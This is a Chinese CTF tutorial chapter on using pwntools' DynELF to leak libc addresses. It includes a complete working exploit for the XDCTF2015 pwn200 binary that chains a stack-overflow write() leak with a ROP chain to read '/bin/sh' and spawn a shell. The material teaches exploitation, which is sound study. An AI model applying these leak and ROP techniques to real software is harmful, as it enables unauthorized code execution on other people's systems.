- 简介
- 一、基础知识篇
- 二、工具篇
- 三、分类专题篇
- 四、技巧篇
- 五、高级篇
- 六、题解篇
- 6.1 Pwn
- 6.1.1 pwn HCTF2016 brop
- 6.1.2 pwn NJCTF2017 pingme
- 6.1.3 pwn XDCTF2015 pwn200
- 6.1.4 pwn BackdoorCTF2017 Fun-Signals
- 6.1.5 pwn GreHackCTF2017 beerfighter
- 6.1.6 pwn DefconCTF2015 fuckup
- 6.1.7 pwn 0CTF2015 freenote
- 6.1.8 pwn DCTF2017 Flex
- 6.1.9 pwn RHme3 Exploitation
- 6.1.10 pwn 0CTF2017 BabyHeap2017
- 6.1.11 pwn 9447CTF2015 Search-Engine
- 6.1.12 pwn N1CTF2018 vote
- 6.1.13 pwn 34C3CTF2017 readme_revenge
- 6.1.14 pwn 32C3CTF2015 readme
- 6.1.15 pwn 34C3CTF2017 SimpleGC
- 6.1.16 pwn HITBCTF2017 1000levels
- 6.1.17 pwn SECCONCTF2016 jmper
- 6.1.18 pwn HITBCTF2017 Sentosa
- 6.1.19 pwn HITBCTF2018 gundam
- 6.1.20 pwn 33C3CTF2016 babyfengshui
- 6.1.21 pwn HITCONCTF2016 Secret_Holder
- 6.1.22 pwn HITCONCTF2016 Sleepy_Holder
- 6.1.23 pwn BCTF2016 bcloud
- 6.1.24 pwn HITCONCTF2016 HouseofOrange
- 6.1.25 pwn HCTF2017 babyprintf
- 6.1.26 pwn 34C3CTF2017 300
- 6.1.27 pwn SECCONCTF2016 tinypad
- 6.1.28 pwn ASISCTF2016 b00ks
- 6.1.29 pwn Insomni'hackteaserCTF2017 TheGreatEscapepart-3
- 6.1.30 pwn HITCONCTF2017 Ghostinthe_heap
- 6.1.31 pwn HITBCTF2018 mutepig
- 6.1.32 pwn SECCONCTF2017 vmnofun
- 6.1.33 pwn 34C3CTF2017 LFA
- 6.1.34 pwn N1CTF2018 memsafety
- 6.1.35 pwn 0CTF2018 heapstorm2
- 6.1.36 pwn NJCTF2017 messager
- 6.1.37 pwn sixstarctf2018 babystack
- 6.1.38 pwn HITCONCMT2017 pwn200
- 6.1.39 pwn BCTF2018 houseofAtum
- 6.1.40 pwn LCTF2016 pwn200
- 6.1.41 pwn PlaidCTF2015 PlaidDB
- 6.1.42 pwn hacklu2015 bookstore
- 6.1.43 pwn 0CTF2018 babyheap
- 6.1.44 pwn ASIS2017 start_hard
- 6.1.45 pwn LCTF2016 pwn100
- 6.2 Reverse
- 6.3 Web
- 6.1 Pwn
- 七、实战篇
- 7.1 CVE
- 7.1.1 CVE-2017-11543 tcpdump sliplink_print 栈溢出漏洞
- 7.1.2 CVE-2015-0235 glibc _nsshostnamedigitsdots 堆溢出漏洞
- 7.1.3 CVE-2016-4971 wget 任意文件上传漏洞
- 7.1.4 CVE-2017-13089 wget skipshortbody 栈溢出漏洞
- 7.1.5 CVE–2018-1000001 glibc realpath 缓冲区下溢漏洞
- 7.1.6 CVE-2017-9430 DNSTracer 栈溢出漏洞
- 7.1.7 CVE-2018-6323 GNU binutils elfobjectp 整型溢出漏洞
- 7.1.8 CVE-2010-2883 Adobe CoolType SING 表栈溢出漏洞
- 7.1.9 CVE-2010-3333 Microsoft Word RTF pFragments 栈溢出漏洞
- 7.1 CVE
- 八、学术篇
- 8.1 The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)
- 8.2 Return-Oriented Programming without Returns
- 8.3 Return-Oriented Rootkits: Bypassing Kernel Code Integrity Protection Mechanisms
- 8.4 ROPdefender: A Detection Tool to Defend Against Return-Oriented Programming Attacks
- 8.5 Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks
- 8.7 What Cannot Be Read, Cannot Be Leveraged? Revisiting Assumptions of JIT-ROP Defenses
- 8.9 Symbolic Execution for Software Testing: Three Decades Later
- 8.10 AEG: Automatic Exploit Generation
- 8.11 Address Space Layout Permutation (ASLP): Towards Fine-Grained Randomization of Commodity Software
- 8.13 New Frontiers of Reverse Engineering
- 8.14 Who Allocated My Memory? Detecting Custom Memory Allocators in C Binaries
- 8.21 Micro-Virtualization Memory Tracing to Detect and Prevent Spraying Attacks
- 8.22 Practical Memory Checking With Dr. Memory
- 8.23 Evaluating the Effectiveness of Current Anti-ROP Defenses
- 8.24 How to Make ASLR Win the Clone Wars: Runtime Re-Randomization
- 8.25 (State of) The Art of War: Offensive Techniques in Binary Analysis
- 8.26 Driller: Augmenting Fuzzing Through Selective Symbolic Execution
- 8.27 Firmalice - Automatic Detection of Authentication Bypass Vulnerabilities in Binary Firmware
- 8.28 Cross-Architecture Bug Search in Binary Executables
- 8.29 Dynamic Hooks: Hiding Control Flow Changes within Non-Control Data
- 8.30 Preventing brute force attacks against stack canary protection on networking servers
- 8.33 Under-Constrained Symbolic Execution: Correctness Checking for Real Code
- 8.34 Enhancing Symbolic Execution with Veritesting
- 8.38 TaintEraser: Protecting Sensitive Data Leaks Using Application-Level Taint Tracking
- 8.39 DART: Directed Automated Random Testing
- 8.40 EXE: Automatically Generating Inputs of Death
- 8.41 IntPatch: Automatically Fix Integer-Overflow-to-Buffer-Overflow Vulnerability at Compile-Time
- 8.42 Dynamic Taint Analysis for Automatic Detection, Analysis, and Signature Generation of Exploits on Commodity Software
- 8.43 DTA++: Dynamic Taint Analysis with Targeted Control-Flow Propagation
- 8.44 Superset Disassembly: Statically Rewriting x86 Binaries Without Heuristics
- 8.45 Ramblr: Making Reassembly Great Again
- 8.46 FreeGuard: A Faster Secure Heap Allocator
- 8.48 Reassembleable Disassembling
- 九、附录
4.8 使用 DynELF 泄露函数地址
DynELF 简介
在做漏洞利用时,由于 ASLR 的影响,我们在获取某些函数地址的时候,需要一些特殊的操作。一种方法是先泄露出 libc.so 中的某个函数,然后根据函数之间的偏移,计算得到我们需要的函数地址,这种方法的局限性在于我们需要能找到和目标服务器上一样的 libc.so,而有些特殊情况下往往并不能找到。而另一种方法,利用如 pwntools 的 DynELF 模块,对内存进行搜索,直接得到我们需要的函数地址。
官方文档里给出了下面的例子:
# Assume a process or remote connection
p = process('./pwnme')
# Declare a function that takes a single address, and
# leaks at least one byte at that address.
def leak(address):
data = p.read(address, 4)
log.debug("%#x => %s" % (address, (data or '').encode('hex')))
return data
# For the sake of this example, let's say that we
# have any of these pointers. One is a pointer into
# the target binary, the other two are pointers into libc
main = 0xfeedf4ce
libc = 0xdeadb000
system = 0xdeadbeef
# With our leaker, and a pointer into our target binary,
# we can resolve the address of anything.
#
# We do not actually need to have a copy of the target
# binary for this to work.
d = DynELF(leak, main)
assert d.lookup(None, 'libc') == libc
assert d.lookup('system', 'libc') == system
# However, if we *do* have a copy of the target binary,
# we can speed up some of the steps.
d = DynELF(leak, main, elf=ELF('./pwnme'))
assert d.lookup(None, 'libc') == libc
assert d.lookup('system', 'libc') == system
# Alternately, we can resolve symbols inside another library,
# given a pointer into it.
d = DynELF(leak, libc + 0x1234)
assert d.lookup('system') == system
可以看到,为了使用 DynELF,首先需要有一个 leak(address)
函数,通过这一函数可以获取到某个地址上最少 1 byte 的数据,然后将这个函数作为参数调用 d = DynELF(leak, main)
,该模块就初始化完成了,然后就可以使用它提供的函数进行内存搜索,得到我们需要的函数地址。
类 DynELF 的初始化方法如下:
def __init__(self, leak, pointer=None, elf=None, libcdb=True):
leak
:leak 函数,它是一个pwnlib.memleak.MemLeak
类的实例pointer
:一个指向 libc 内任意地址的指针elf
:elf 文件libcdb
:libcdb 是一个作者收集的 libc 库,默认启用以加快搜索。
导出的类方法如下:
base()
:解析所有已加载库的基地址static find_base(leak, ptr)
:提供一个pwnlib.memleak.MemLeak
对象和一个指向库内的指针,然后找到其基地址heap()
:通过__curbrk
(链接器导出符号,指向当前brk)找到堆的起始地址lookup(symb=None, lib=None)
:找到 lib 中 symbol 的地址stack()
:通过__environ
(libc导出符号,指向environment block)找到一个指向栈的指针dynamic()
:返回指向.DYNAMIC
的指针elfclass
:32 或 64 位elftype
:elf 文件类型libc
:泄露 build id,下载该文件并加载link_map
:指向运行时 link_map 对象的指针
DynELF 原理
文档中大概说了下其实现的细节,配合参考资料的文章,大概就可以做到自己实现一个。
DynELF 使用了两种技术:
- 解析函数
- ELF 文件会从如 libc.so 库中导入符号,有一系列的表给出了导出符号名、导出符号地址和导出符号的哈希值。通过对某个符号名做哈希,可以定位到哈希表中,然后哈希表的位置又提供了字符串表(strtab)和符号表(symtab)的索引。
- 假设我们有了 libc.so 的基地址,解析 printf 地址的方法是定位 symtab、strtab 和 hash 表。对字符串"printf"做哈希,然后定位到哈希表中的某一条,然后从 symtab 中得到其在 libc.so 的偏移。
- 解析库地址
- 如果我们有一个指向动态链接的可执行文件的指针,就可以利用一个称为 link map 的内部链接器结构。这是一个链表结构,包含了每个被加载的库的信息,包括完整路径和基地址。
- 有两种方法可以找到这个指向 link map 的指针。两者都是从 DYNAMIC 数组条目中得到的。
- 在 non-RELOAD 的二进制文件中,该指针在
.got.plt
区域中。这是通过DT_PLTGOT
找到的。 - 在所有二进制文件中,可以在
DT_DEBUG
描述的区域中找到该指针,甚至在 stripped 之后也不例外。
- 在 non-RELOAD 的二进制文件中,该指针在
DynELF 实例
在 libc 中,我们通常使用 write
、puts
、printf
来打印指定内存的数据。
write
#include <unistd.h>
ssize_t write(int fd, const void *buf, size_t count);
write 函数用于向文件描述符中写入数据,三个参数分别是文件描述符,一个指针指向的数据和写入数据的长度。该函数的优点是可以读取任意长度的内存数据,即打印数据的长度只由 count 控制,缺点则是需要传递 3 个参数。32 位程序通过栈传递参数,直接将参数布置在栈上就可以了,而 64 位程序首先使用寄存器传递参数,所以我们通常使用通用 gadget(参见章节4.7) 来为 write 函数传递参数。
例子是 xdctf2015-pwn200,文件地址。在这个程序中也只有 write 可以利用:
$ rabin2 -R pwn200
...
vaddr=0x0804a004 paddr=0x00001004 type=SET_32 read
vaddr=0x0804a010 paddr=0x00001010 type=SET_32 write
另外我们还需要 read 函数用于读入 '/bin/sh` 到 .bss 段中:
$ readelf -S pwn200 | grep .bss
[25] .bss NOBITS 0804a020 00101c 00002c 00 WA 0 0 32
栈溢出漏洞很明显,偏移为 112:
gdb-peda$ pattern_offset 0x41384141
1094205761 found at offset: 112
在 r2 中对程序进行分析,发现一个漏洞函数,地址为 0x08048484
:
[0x080483d0]> pdf @ sub.setbuf_484
/ (fcn) sub.setbuf_484 58
| sub.setbuf_484 ();
| ; var int local_6ch @ ebp-0x6c
| ; var int local_4h @ esp+0x4
| ; var int local_8h @ esp+0x8
| ; CALL XREF from 0x0804855f (main)
| 0x08048484 55 push ebp
| 0x08048485 89e5 mov ebp, esp
| 0x08048487 81ec88000000 sub esp, 0x88
| 0x0804848d a120a00408 mov eax, dword [obj.stdin] ; [0x804a020:4]=0
| 0x08048492 8d5594 lea edx, [local_6ch]
| 0x08048495 89542404 mov dword [local_4h], edx
| 0x08048499 890424 mov dword [esp], eax
| 0x0804849c e8dffeffff call sym.imp.setbuf ; void setbuf(FILE *stream,
| 0x080484a1 c74424080001. mov dword [local_8h], 0x100 ; [0x100:4]=-1 ; 256
| 0x080484a9 8d4594 lea eax, [local_6ch]
| 0x080484ac 89442404 mov dword [local_4h], eax
| 0x080484b0 c70424000000. mov dword [esp], 0
| 0x080484b7 e8d4feffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
| 0x080484bc c9 leave
\ 0x080484bd c3 ret
于是我们构造 leak 函数如下,即 write(1, addr, 4)
:
def leak(addr):
payload = "A" * 112
payload += p32(write_plt)
payload += p32(vuln_addr)
payload += p32(1)
payload += p32(addr)
payload += p32(4)
io.send(payload)
data = io.recv()
log.info("leaking: 0x%x --> %s" % (addr, (data or '').encode('hex')))
return data
d = DynELF(leak, elf=elf)
system_addr = d.lookup('system', 'libc')
log.info("system address: 0x%x" % system_addr)
注意我们需要一个 pppr 的 gadget 来平衡栈:
$ ropgadget --binary pwn200 --only "pop|ret"
...
0x0804856c : pop ebx ; pop edi ; pop ebp ; ret
得到了 system 的地址,就可以利用 read 函数读入 "/bin/sh",从而得到 shell,完整的 exp 如下:
from pwn import *
# context.log_level = 'debug'
elf = ELF('./pwn200')
io = process('./pwn200')
io.recvline()
write_plt = elf.plt['write']
write_got = elf.got['write']
read_plt = elf.plt['read']
read_got = elf.got['read']
vuln_addr = 0x08048484
start_addr = 0x080483d0
bss_addr = 0x0804a020
pppr_addr = 0x0804856c
def leak(addr):
payload = "A" * 112
payload += p32(write_plt)
payload += p32(vuln_addr)
payload += p32(1)
payload += p32(addr)
payload += p32(4)
io.send(payload)
data = io.recv()
log.info("leaking: 0x%x --> %s" % (addr, (data or '').encode('hex')))
return data
d = DynELF(leak, elf=elf)
system_addr = d.lookup('system', 'libc')
log.info("system address: 0x%x" % system_addr)
payload = "A" * 112
payload += p32(read_plt)
payload += p32(pppr_addr)
payload += p32(0)
payload += p32(bss_addr)
payload += p32(8)
payload += p32(system_addr)
payload += p32(vuln_addr)
payload += p32(bss_addr)
io.send(payload)
io.send('/bin/sh\x00')
io.interactive()
该题除了这里使用 DynELF 的方法,在后面章节 6.3 中,还会介绍一种使用 ret2dl-resolve 的解法。
puts
#include <stdio.h>
int puts(const char *s);
puts 函数使用的参数只有一个,即需要输出的数据的起始地址,它会一直输出直到遇到 \x00
,所以它输出的数据长度是不容易控制的,我们无法预料到零字符会出现在哪里,截止后,puts 还会自动在末尾加上换行符 \n
。该函数的优点是在 64 位程序中也可以很方便地使用。缺点是会受到零字符截断的影响,在写 leak 函数时需要特殊处理,在打印出的数据中正确地筛选我们需要的部分,如果打印出了空字符串,则要手动赋值\x00
,包括我们在 dump 内存的时候,也常常受这个问题的困扰,可以参考章节 6.1 dump 内存的部分。
所以我们常常需要这样做:
data = io.recv()[:-1] # 去掉末尾\n
if not data:
data = '\x00'
else:
data = data[:4]
这只是个例子,还是要具体情况具体分析。
printf
#include <stdio.h>
int printf(const char *format, ...);
该函数常用于在格式化字符串中泄露内存,和 puts 差不多,也受到 \x00
的影响,只是没有在末尾自动添加 \n
。而且还有个问题要注意,为了防止 printf 的 %s
被 \x00
截断,需要对格式化字符串做一些改变。更详细的内容请参考章节 6.2。
参考资料
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论